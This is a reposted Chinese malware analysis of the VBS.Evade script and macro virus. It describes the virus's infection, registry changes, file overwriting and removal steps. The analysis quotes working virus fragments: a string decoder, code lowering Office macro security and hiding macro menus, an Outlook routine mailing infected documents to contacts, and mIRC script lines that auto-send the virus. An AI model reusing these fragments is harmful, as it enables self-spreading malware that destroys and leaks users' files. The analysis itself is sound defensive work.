叛逃者病毒分析(转)-程序员宅基地

叛逃者病毒分析(转)[@more@]国内发现一个混合型脚本病毒“叛逃者”(VBS.Evade)病毒。该病毒不但感染脚本文件、Excel和Word文档,而且还会直接覆盖一部分音乐、视频及工作文档。与此同时,他还会通过email到处发放已被感染Office文档,造成用户重要信息泄露。
因此,该病毒危害性极大。下面就该病毒的工作原理和解决办法具体分析介绍一下:
一、该病毒的感染特征
叛逃者病毒属于vbs脚本病毒,同时它也具有宏病毒的特征。当用户机器被感染这种病毒后,会发生以下变化:
1.对注册表的修改
a)添加HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion
RunWinsart,其值为Wscript.exe SysDir Winstart.vbs %1" ,其中SYSDir为用户的系统目录。
b)修改
HKEY_LOCAL_MACHINESoftwareMicrosoftXl.Application.Version ExcelSecurityLevel和HKEY_LOCAL_MACHINESoftware
MicrosoftXl.Application.Version ExcelSecurityAcessVBOM为1
c)修改
HKEY_LOCAL_MACHINESoftwareMicrosoft
Wd.Application.VersionExcelSecurityLevel和HKEY_LOCAL_MACHINESoftwareMicrosoftWd.Application.Version ExcelSecurityAcessVBOM为1
d)在
HKEY_CURRENT_USERSoftwareed/[rRlf]VBS/EvadeRecordContacts键下面会建立相应的Email发送结果记录。
e) 添加键值
HKEY_CURRENT_USERSoftwareed/[rRlf]VBS/Evade VBS/Evade.A by Zed[rRlf]
2.添加的文件
该病毒运行后,会在用户的windows目录添加如下两个病毒体文件:Netlnk32.vbs,Conversation.vbe;会在用户的系统目录添加如下四个病毒体文件:Winstart.vbs,Wininst32.vbs,Winnt32.vbs,Winnet32.vbs;会在磁盘根目录(C盘除外)下建立文件Passwords.vbs。它们都是对病毒本身的完整备份。会在系统目录添加evade.gif,evade.jpg,这两个文件是用来载入到Excel和Word中的病毒文件副本,它们不同于前面的几个病毒体文件。
3.对文件的修改
如果存在personal.xls文件,则原有文件将被删除,并且建立新的personal.xls文件;否者,直接建立personal.xls文件。同时病毒也对Word的模版进行感染。
如果存在MIRC,则修改Script.ini文件。
4.被感染的文件类型
病毒会对.vbs,.vbe文件进行感染,同时也会用病毒体对9个目录下的所有后缀为.mp3 .mp2 .avi .mpg .mpeg .mpe .mov .pdf .doc .xls .mdb .ppt .pps的11种数据文件进行覆盖。

二、该病毒的技术特点
1.加密
该病毒属于加密性病毒,并且加密手法与一般病毒不同:一般病毒是整体加密,但是该病毒只是对病毒中的某些关键字串进行了加密。叛逃者病毒加密算法比较简单,但是由于加密字串是分开的,并且是解密一处,执行一处。这样就无法整体对这个病毒进行解密。笔者在对这个病毒的部分字串进行解密时专门编写了一段小程序,这段程序我们在后面具体分析其加解密程序时介绍。
2.脚本与宏病毒双重特性
叛逃者病毒在感染vbs,vbe脚本病毒的同时,也感染了Word模版和Excel的personal.xls文件。在对Word和Excel进行感染处理,自我保护方面,和宏病毒所采取的手段是一模一样。可以说该病毒是结合了脚本与宏的特点。
3.传播手段多样化
该病毒用到了几乎现行所有脚本病毒曾经用过的传播方式:文件感染、Email传播、IRC通道传播、各种点对点共享工具传播(KaZza、Morpheus、 Grokster、 Bearshare、Edonkey),同时也采用了宏病毒的传播方式:通过模版、文档文件进行感染。
4.代码破坏性极大
病毒不对系统文件进行任何破坏,但是覆盖用户常用的一些宝贵数据如mp3,mpg,avi,Doc,pdf,mdb,ppt等文件。这种覆盖是不可逆的,并且病毒在借助其传播时并没有为这些宝贵数据留下副本。
5.泄露用户资料
同时,病毒还会自动通过email到处发送用户的office文档,泄露用户的数据信息。这对很对公司来说,内部文档被泄露会造成非常重大的经济损失或其它不良影响。

三、该病毒运行的大致流程
该病毒流程并不复杂,可以简单描述如下:
1.复制病毒文件到用户windows目录和系统目录。
2.修改注册表,改变Excel的安全级别
3.写病毒代码到Evade.gif,并将Evade.gif导入到Personal.xls文件
4.修改注册表,改变Word的安全级别
5.写病毒代码到Evade.jpg,并将该文件导入到Word通用模版。
6.搜索整个磁盘,在每个盘符(C盘除外)根目录下创建病毒副本Passwords.vbs
7.感染硬盘上所有.vbs、.vbe文件
8.对指定9个目录进行再次搜索,用病毒文件覆盖满足条件(指定11种后缀)的文件。
9.如存在Mirc,修改Script.ini,使其可以通过Mirc聊天通道发送病毒文件Conversation.vbe。
10.修改注册表,标明病毒作者信息及版本。
通过以上步骤后,Excel和Word已被感染,当用户对这两种文档进行操作时,便会触发执行另外两段病毒代码。另外两段代码我们会在下一部分具体分析,这里不作介绍。

四、具体代码分析
1.主体病毒代码
a)加密机制分析
该病毒的解密函数代码如下:
Function E0(E1)
For E2 = 1 To Len(E1)E3 = Mid(E1, E2, 1)
If Not Asc(E3) Mod 2 = 0 Then 'E3的Ascii码是否为奇数
E3 = Chr(Asc(E3) - 1) '是
Else
E3 = Chr(Asc(E3) + 1) '不是
EndIf
E0 = E0 & E3 '整合已经处理的字符
Next '继续,直到整个字符串处理完毕End Function
这个函数具有如下作用:对于给出的字符串E1,对于E1中的每个字符,如果该字符的Ascii码X为奇数那么用Ascii码值为X-1的字符代替这个字符,否则,用Ascii码值为X+1的字符代替这个字符。也就是说一个字符要么用它前面的字符代替,要么用它后面的字符代替。例如,F的Ascii码为70,那么F将被Ascii码为71的字符G代替,G将被F代替。
那么对于病毒中的加密字符串Rbshquhof/GhmdRxrudlNckdbu,解密后的代码就是Scripting.FileSystemObject。
同时,由上面F到G的相互转换,我们可以发现,一个字符经过该函数两次处理之后会还原。其实,这个函数也是该病毒的加密函数。
由于该病毒加/解密是对部分字符串的,这样我们在分析这个病毒的样本时就通过解密函数无法一次还原出所有的加密代码。在分析该病毒的过程中,笔者编写了如下一段小程序进行解密(这段代码放在附件中):
Do while inchar<>"dyhu"
inchar=InputBox("请输入加密字符串,结束请输入exit")
inchar=E0(inchar)
wscript.echo inchar
Loop
Function E0(E1)
For E2 = 1 To Len(E1)
E3 = Mid(E1, E2, 1)
If Not Asc(E3) Mod 2 = 0 Then
E3 = Chr(Asc(E3) - 1)
Else
E3 = Chr(Asc(E3) + 1)
EndIf
E0 = E0 & E3
Next
End Function
为了方便大家理解,后面列出的代码中的加密字符串用解密过的字符串代替。

b)对Excel所作的修改
病毒对Excel作修改的代码分析如下:
XlKey = "HKCUSoftwareMicrosoftOffice" & Xl.Application.Version & "ExcelSecurity")
wsc.RegWrite XlKey & "Level", 1, "REG_DWORD"wsc.RegWrite XlKey & "AcessVBOM", 1, "REG_DWORD" '这里是写入注册表,修改Excel的安全等级……
Xl.Visible = False
Xl.WorkBooks.AddXl.ActiveWorkbook.VBProject.VBComponents.Import (fso.GetSpecialFolder(1) & "Evade.gif")
'导入Evade.gif中的病毒代码
Xl.ActiveWorkbook.SaveAs (Xl.Application.StartupPath & "Personal.xls")
'将Evade.gif的内容保存到Personal.xls文件
Xl.Quit
可见,通过上面这段程序,病毒将病毒代码写入到了Personal.xls,这样以后打开Excel时就会自动执行另外一段病毒代码。这段病毒代码后面会加以分析。
c)对Word所作的修改
病毒对Word作修改的代码分析如下:
WdKey = "HKCUSoftwareMicrosoftOffice" & Wd.Application.Version & "WordSecutiry"wsc.RegWrite WdKey & "Level"), 1, "REG_DWORD")
wsc.RegWrite WdKey & "AccessVBOM", 1, "REG_DWORD")
'这里是写入注册表,修改Word的安全等级Wd.Options.VirusProtection = False '关闭病毒保护功能
Wd.Options.SaveNormalPrompt = False '自动保存模版,不给用户提示
Wd.Options.ConfirmConversions = False '不给出确认信息……
If Wd.NormalTemplate.VBProject.VBComponents.Item("Evade").Name <> "Evade") Then
Wd.NormalTemplate.VBProject.VBComponents.Import SysDir & "Evade.jpg")
Wd.NormalTemplate.VBProject.VBComponents.Item("Evade")).Name = "Evade")
'将Evade.jpg的内容保存到Word通用模版
End If
可见,通过上面这段程序,病毒将病毒代码写入到了Word通用模版,这样以后打开Word时也会自动执行另外一段病毒代码。这段病毒代码后面也会加以分析。
d)往Gif,Jpg文件中写入病毒主体代码时采取的方法
病毒在往evade.gif,evade.jpg文件中写入的并不是直接的vbs代码,这段vbs代码写入时是通过一段转换代码处理过的,该段代码将病毒体的字符串转换为每个字符Ascii码串(其中Ascii码以16进制表示)。其具体代码分析如下:
For i = 1 To Len(ScriptRead)
Tz = Mid(ScriptRead, i, 1)
Tz = Hex(Asc(Tz))
'取字符的Ascii码,并将其转化为16进制串
If Len(Tz) = 1 Then
'如果该字符的Ascii码小于等于F,譬如回车换行D,A
Tz = E0("1") & Tz
'在字符前面加0,譬如,将D转换为0D,补足两个字符,便于后面逆向处理
End If
Gz = Gz + Tz '整合处理过的字符
If Len(Gz) = 110 Then
'如果处理的字符串达到110个字符(其实是55个字符,因为一个字符转换成16进制Ascii码后是两位)
EM.WriteLine "Tz = Tz + """ + Gz + Chr(34) '将处理过的110个字符写入文件,实际写到文件的是字符串Tz=Tz+"处理过的110个字符"
Gz = E0("") '将Gz清空,以便继续处理
EndIf
If Len(ScriptRead) - i = 0 Then '如果所有字符已经处理完
EM.WriteLine "Tz = Tz + """ + Gz + Chr(34) '将剩余处理过的字符串写入文件
Gz = E0("") '将Gz清空
End If
Next

e)病毒的感染部分
叛逃者病毒会对整个磁盘进行搜索,寻找满足条件的文件,其搜索代码和爱虫病毒的搜索代码基本上是一模一样,同样是搜索到每个盘符后,先检查该盘符是否软磁盘或硬盘,如果是则对其进行递归、搜索每个文件夹,查找每个满足条件的文件,由于版面关系这里不再列出具体代码。不过这段搜索代码在找到C盘后,会在磁盘(C盘除外)根目录下创建一个名为passwords.vbs的病毒副本,这个文件名诱惑用户双击该文件,执行病毒代码。相关代码如下:
If UCase(NetDrive.Path) <> "C:" Then
fso.CopyFile WScript.ScriptFullName, NetDrive.Path & "Passwords.vbs")
End If
病毒为了避免反复感染同一个文件,会先查看该文件中是否含有病毒标记" ' VBS/Evade by Zed /[rRlf]",如果存在则不对其进行感染。这里病毒并没有对目标文件进行覆盖,而是将病毒代码写在了原来文件的末尾,并且这里写入的也是转换成16进制Ascii码后的病毒代码,紧接其后病毒写入了逆向转换代码和调用执行语句。
另外,病毒还会对指定9个目录:
C:KazaaMy Shared Folder
C:My Downloads
C:ProgramFiles%KazaaMy Shared Folder
C:ProgramFiles%KaZaA LiteMy Shared Folder
C:ProgramFiles%BearshareShared
C:ProgramFiles%Edonkey2000
C:ProgramFiles%MorpheusMy Shared Folder
C:ProgramFiles%GroksterMy Gorkster
C:ProgramFiles%ICQShared Files
进行搜索,并对.mp3 .mp2 .avi .mpg .mpeg .mpe .mov .pdf .doc .xls .mdb .ppt .pps等13种数据文件,进行覆盖:先创建一个以原文件名为前缀,vbs为后缀的病毒文件副本。然后,删除原来的文件。这样,用户在看到这些文件后,会以为这些文件是用户原来的文件而去双击它。这样病毒就得到了控制权。以上9个目录是网上进行文件共享时的默认目录,如果病毒覆盖了这些病毒中的文件,其它网络用户就会下载这些文件,这样病毒就得以广泛传播。这里不列出具体代码分析。

f)利用Mirc进行传播
叛逃者病毒可以利用Mirc聊天通道进行传播,他修改script.ini文件,使得Mirc会自动向通道中的其他好友发送病毒文件。病毒依次查找如下四个目录:
C:Mirc
C:Mirc32
Mirc
Mirc32
如果发现这些目录,则在该目录中添加或修改文件Script.ini,并在其中写入一些控制指令。这些指令可以自动往通道中的其他用户发送病毒文件。添加的指令如下:
;Mirc Scripting utility –do not modify
[Script]
n5=no 1:Join:# ;{
n6=/if ($nick= =$me) {halt}
n7=/msg $nick Remember this funny conversation I had on IRC?
n8=/dcc send –c $nick WinDir Conversation.vbe
n9=}
2.两个“图片”文件的代码分析
a)evade.gif文件
该文件是要被导入到personal.xls文件中的病毒副本。该病毒副本首先修改Excel安全等级,并建立一个Auto_Open函数,该函数只有一条调用osaEvade过程的语句。OsaEvade是病毒发作部分。我们知道Auto_Open函数在用户打开文档时是会自动执行的。这样,每次打开Excel文档时,病毒就会获得控制权。这也是宏病毒常用的手段。同时,病毒还做了一些基本的隐蔽措施,如下所示:
Application.ScreenUpdating = False '不让屏幕更新,让病毒执行时不影响计算机速度
Application.DisplayAlerts = False '不让Excel弹出报警信息
Application.EnableCancelKey = xlDisabled '使不可以通过Esp键取消正在执行的宏Application.DisplayStatusBar = False '不显示状态栏,以免暴露病毒的运行情况
同时,病毒还会检查相应目录下是否存在personal.xls,Winstart.vbs,如果不存在,马上以evade.gif文件为样本创建这两个文件。
在这个文件中最重要的一个步骤就是从当前outlook中的电话簿中找到email地址,并发送带毒office文档。部分代码分析如下:
EmailKey = "HKEY_CURRENT_USERSoftwareed/[rRlf]VBS/EvadeRecordContacts"
ReadIfSent = wsc.RegRead(EmailKey & ContactSwitch.AddressEntries(UserGroup)) '从注册表中读取信息,看是否已向该邮件地址发送过?
If ReadIfSent <> "File Sent" Then '如果没有发送过,则继续
Set OutlookEmail = OutlookApp.CreateItem(0)
OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup) '收件人
OutlookEmail.Subject = L6 '邮件标题,该标题是从7个标题中随机选取的
OutlookEmail.Body = "The file I am sending you is confidential as well as important; so don't let anyone else have a copy." '邮件内容
OutlookEmail.Attachments.Add ActiveWorkbook.FullName '邮件附件,这里贴上的是染毒的office文档,因此会造成文件泄露
OutlookEmail.Importance = 2 '文件重要等级
OutlookEmail.DeleteAfterSubmit = True '发送后自我删除
OutlookEmail.Send '发送邮件
wsc.RegWrite EmailKey & ContactSwitch.AddressEntries(UserGroup), "File Sent" '在注册表中记录,以免重复发送
End If

另外该文件中含有一个非常重要的转换函数,前面讲过主病毒文件被写入到这个文件时是经过Ascii码转换的。要让这段代码写入到Winstart.vbs中能执行,这里就需要对其做恢复转换。这个函数如下所示:
Function CM(CN)For GC = 1 To Len(CN) Step 2 '以两个字符为单位,因为一个字符转换成10进制Ascii码后时为两个字符 CM = CM & Chr("&h" & Mid(CN, GC, 2)) '譬如A的Asii码为65,转换为16进制为41,这里就是将41转换成字符ANextEnd Function

b)evade.jpg文件
这个文件开始是用于导入到Word通用模版的。该病毒副本同样修改了Word安全等级,并创建了AutoClose,AutoOpen,ViewVBCode,Evade过程。其中,Evade过程中是病毒表现代码。前两个在Word关闭,打开文件时会自动执行,并且这两个过程均调用了Evade过程。这里ViewVBCode过程中没有任何语句,这样,当用户按ALT+F8后就不会调出宏编辑窗口,而是不做任何动作。这从某种程度上保护了病毒程序不被他人分析。
另外,和evade.gif文件一样,病毒也做了一些基本的隐蔽措施,如下所示:
Application.DisplayStatusBar = 0 '不显示状态栏,以免暴露病毒的运行情况
Application.ScreenUpdating = 0 '不让屏幕更新,让病毒执行时不影响计算机速度
Application.EnableCancelKey = wdCancelDisabled '使不可以通过Esp键取消正在执行的宏
Application.DisplayAlerts = wdAlertsNone '不让Excel弹出报警信息
CommandBars("Tools").Controls("Macro").Enabled = 0 '屏蔽工具菜单中的“宏”
CommandBars("Macro").Controls("Security...").Enabled = 0 '屏蔽宏菜单的“安全性…”
CommandBars("Macro").Controls("Macros...").Enabled = 0 '屏蔽宏菜单的“宏…”
CommandBars("Tools").Controls("Customize...").Enabled = 0 '屏蔽工具菜单的“自定义…”
CommandBars("View").Controls("Toolbars").Enabled = 0 '屏蔽视图宏菜单的“工具栏”
CommandBars("format").Controls("Object...").Enabled = 0 '屏蔽格式菜单的“对象”
这样,病毒通过这些设置就可以防止用户通过对word进行一些设置查看和解除宏病毒代码。
另外,其它部分和evade.gif文件功能基本上一样。该文件同样含有email发送代码和恢复转换函数,并且原理一模一样,这里不在具体叙述。
五、如何解除这种病毒
由于叛逃者病毒不仅感染了vbs脚本文件、覆盖了其它类型的文件,同时也感染了Word,Excel,因此该病毒在解除过程中不得运行脚本文件,也不得对Word,Excel进行操作。
下面简要谈一下这个病毒的解除思路:
1.按照上面所提到的部分删除或者改回被修改过的注册表键值。
2.删除上面提到的9个目录中的所有被感染文件、evade.gif、evade.jpg、Personal.xls,Passwords.vbs。还有windows和系统目录下的5个vbs、1个vbe文件。
3.查找被感染的vbe,vbs文件,编辑,并删除文件后面的病毒代码。
4.对Excel和Word进行解毒,并且还要杀除已被感染文档中的病毒。
5.如果有Mirc,还需修改Script.ini文件,删除后来添加的几个命令行。
上面有些步骤比较复杂,建议一般用户采用杀毒软件进行杀毒。

后记:叛逃者病毒并没有采用什么新颖的技术,特别是宏病毒部分已经是非常古老原始的技术了,但是该病毒却完全不顾及用户宝贵数据和隐私,破坏性极大,这不得不让我们为此担忧。笔者认为,一个真正的好病毒,是会尽量避免造成破坏的,笔者衷心希望以后这种没有任何美感的低劣病毒不会反复出现。

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/10617731/viewspace-950708/,如需转载,请注明出处,否则将追究法律责任。

转载于:http://blog.itpub.net/10617731/viewspace-950708/

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/cuijiao1893/article/details/100398467

智能推荐

从零开始搭建Hadoop_创建一个hadoop项目-程序员宅基地

文章浏览阅读331次。第一部分:准备工作1 安装虚拟机2 安装centos73 安装JDK以上三步是准备工作,至此已经完成一台已安装JDK的主机第二部分:准备3台虚拟机以下所有工作最好都在root权限下操作1 克隆上面已经有一台虚拟机了,现在对master进行克隆,克隆出另外2台子机;1.1 进行克隆21.2 下一步1.3 下一步1.4 下一步1.5 根据子机需要,命名和安装路径1.6 ..._创建一个hadoop项目

心脏滴血漏洞HeartBleed CVE-2014-0160深入代码层面的分析_heartbleed代码分析-程序员宅基地

文章浏览阅读1.7k次。心脏滴血漏洞HeartBleed CVE-2014-0160 是由heartbeat功能引入的,本文从深入码层面的分析该漏洞产生的原因_heartbleed代码分析

java读取ofd文档内容_ofd电子文档内容分析工具(分析文档、签章和证书)-程序员宅基地

文章浏览阅读1.4k次。前言ofd是国家文档标准,其对标的文档格式是pdf。ofd文档是容器格式文件,ofd其实就是压缩包。将ofd文件后缀改为.zip,解压后可看到文件包含的内容。ofd文件分析工具下载:点我下载。ofd文件解压后,可以看到如下内容: 对于xml文件,可以用文本工具查看。但是对于印章文件(Seal.esl)、签名文件(SignedValue.dat)就无法查看其内容了。本人开发一款ofd内容查看器,..._signedvalue.dat

基于FPGA的数据采集系统(一)_基于fpga的信息采集-程序员宅基地

文章浏览阅读1.8w次,点赞29次,收藏313次。整体系统设计本设计主要是对ADC和DAC的使用,主要实现功能流程为:首先通过串口向FPGA发送控制信号,控制DAC芯片tlv5618进行DA装换,转换的数据存在ROM中,转换开始时读取ROM中数据进行读取转换。其次用按键控制adc128s052进行模数转换100次,模数转换数据存储到FIFO中,再从FIFO中读取数据通过串口输出显示在pc上。其整体系统框图如下:图1:FPGA数据采集系统框图从图中可以看出,该系统主要包括9个模块:串口接收模块、按键消抖模块、按键控制模块、ROM模块、D.._基于fpga的信息采集

微服务 spring cloud zuul com.netflix.zuul.exception.ZuulException GENERAL-程序员宅基地

文章浏览阅读2.5w次。1.背景错误信息:-- [http-nio-9904-exec-5] o.s.c.n.z.filters.post.SendErrorFilter : Error during filteringcom.netflix.zuul.exception.ZuulException: Forwarding error at org.springframework.cloud..._com.netflix.zuul.exception.zuulexception

邻接矩阵-建立图-程序员宅基地

文章浏览阅读358次。1.介绍图的相关概念  图是由顶点的有穷非空集和一个描述顶点之间关系-边(或者弧)的集合组成。通常,图中的数据元素被称为顶点,顶点间的关系用边表示,图通常用字母G表示,图的顶点通常用字母V表示,所以图可以定义为:  G=(V,E)其中,V(G)是图中顶点的有穷非空集合,E(G)是V(G)中顶点的边的有穷集合1.1 无向图:图中任意两个顶点构成的边是没有方向的1.2 有向图:图中..._给定一个邻接矩阵未必能够造出一个图

随便推点

MDT2012部署系列之11 WDS安装与配置-程序员宅基地

文章浏览阅读321次。(十二)、WDS服务器安装通过前面的测试我们会发现,每次安装的时候需要加域光盘映像,这是一个比较麻烦的事情,试想一个上万个的公司,你天天带着一个光盘与光驱去给别人装系统,这将是一个多么痛苦的事情啊,有什么方法可以解决这个问题了?答案是肯定的,下面我们就来简单说一下。WDS服务器,它是Windows自带的一个免费的基于系统本身角色的一个功能,它主要提供一种简单、安全的通过网络快速、远程将Window..._doc server2012上通过wds+mdt无人值守部署win11系统.doc

python--xlrd/xlwt/xlutils_xlutils模块可以读xlsx吗-程序员宅基地

文章浏览阅读219次。python–xlrd/xlwt/xlutilsxlrd只能读取,不能改,支持 xlsx和xls 格式xlwt只能改,不能读xlwt只能保存为.xls格式xlutils能将xlrd.Book转为xlwt.Workbook,从而得以在现有xls的基础上修改数据,并创建一个新的xls,实现修改xlrd打开文件import xlrdexcel=xlrd.open_workbook('E:/test.xlsx') 返回值为xlrd.book.Book对象,不能修改获取sheett_xlutils模块可以读xlsx吗

关于新版本selenium定位元素报错:‘WebDriver‘ object has no attribute ‘find_element_by_id‘等问题_unresolved attribute reference 'find_element_by_id-程序员宅基地

文章浏览阅读8.2w次,点赞267次,收藏656次。运行Selenium出现'WebDriver' object has no attribute 'find_element_by_id'或AttributeError: 'WebDriver' object has no attribute 'find_element_by_xpath'等定位元素代码错误,是因为selenium更新到了新的版本,以前的一些语法经过改动。..............._unresolved attribute reference 'find_element_by_id' for class 'webdriver

DOM对象转换成jQuery对象转换与子页面获取父页面DOM对象-程序员宅基地

文章浏览阅读198次。一:模态窗口//父页面JSwindow.showModalDialog(ifrmehref, window, 'dialogWidth:550px;dialogHeight:150px;help:no;resizable:no;status:no');//子页面获取父页面DOM对象//window.showModalDialog的DOM对象var v=parentWin..._jquery获取父window下的dom对象

什么是算法?-程序员宅基地

文章浏览阅读1.7w次,点赞15次,收藏129次。算法(algorithm)是解决一系列问题的清晰指令,也就是,能对一定规范的输入,在有限的时间内获得所要求的输出。 简单来说,算法就是解决一个问题的具体方法和步骤。算法是程序的灵 魂。二、算法的特征1.可行性 算法中执行的任何计算步骤都可以分解为基本可执行的操作步,即每个计算步都可以在有限时间里完成(也称之为有效性) 算法的每一步都要有确切的意义,不能有二义性。例如“增加x的值”,并没有说增加多少,计算机就无法执行明确的运算。 _算法

【网络安全】网络安全的标准和规范_网络安全标准规范-程序员宅基地

文章浏览阅读1.5k次,点赞18次,收藏26次。网络安全的标准和规范是网络安全领域的重要组成部分。它们为网络安全提供了技术依据,规定了网络安全的技术要求和操作方式,帮助我们构建安全的网络环境。下面,我们将详细介绍一些主要的网络安全标准和规范,以及它们在实际操作中的应用。_网络安全标准规范